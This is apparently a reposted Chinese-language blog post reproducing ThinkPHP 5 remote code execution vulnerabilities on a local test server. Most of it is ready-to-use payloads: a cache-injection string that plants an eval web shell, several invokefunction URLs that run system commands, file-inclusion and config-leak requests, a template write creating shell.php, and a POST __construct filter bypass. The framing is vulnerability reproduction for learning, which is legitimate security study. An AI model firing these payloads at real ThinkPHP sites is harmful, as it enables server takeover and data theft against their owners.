ThinkPHP 5 代碼執行漏洞復現+POC


ThinkPHP 5 代碼執行漏洞復現+POC


ThinkPHP 5.0.10 環境框架搭建

ThinkPHP是一個免費開源的,快速、簡單的面向對象的輕量級PHP開發框架,是為了敏捷WEB應用開發和簡化企業應用開發而誕生的。ThinkPHP從誕生以來一直秉承簡潔實用的設計原則,在保持出色的性能和至簡的代碼的同時,也注重易用性。

查看當前版本

環境搭建成功

緩存類導致RCE

版本

5.0.0<=ThinkPHP5<=5.0.10

測試payload

漏洞利用條件

  1. 基於tp5開發的代碼中使用了Cache::set 進行緩存
  2. 在利用版本范圍內
  3. runtime目錄可以訪問

創建一個生成緩存的頁面

構造payload如下:

http://127.0.0.1/public/?username=syst1m%0d%0a@eval($_GET[_]);//

成功在緩存文件寫入payload

http://127.0.0.1/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php?_=phpinfo();

成功執行代碼

未開啟強制路由導致rce

版本

5.0.0<=ThinkPHP5<=5.0.10

測試payload

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 獲取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

當前環境版本是5.0.10,構造payload如下:

http://127.0.0.1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

成功執行代碼

method任意調用方法導致rce

版本

5.0.0<=ThinkPHP5<=5.0.10

測試payload

構造payload如下:

POST /index.php?s=index HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=whoami

成功執行代碼

參考

Thinkphp5 RCE總結
Thinkphp5 代碼執行學習


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM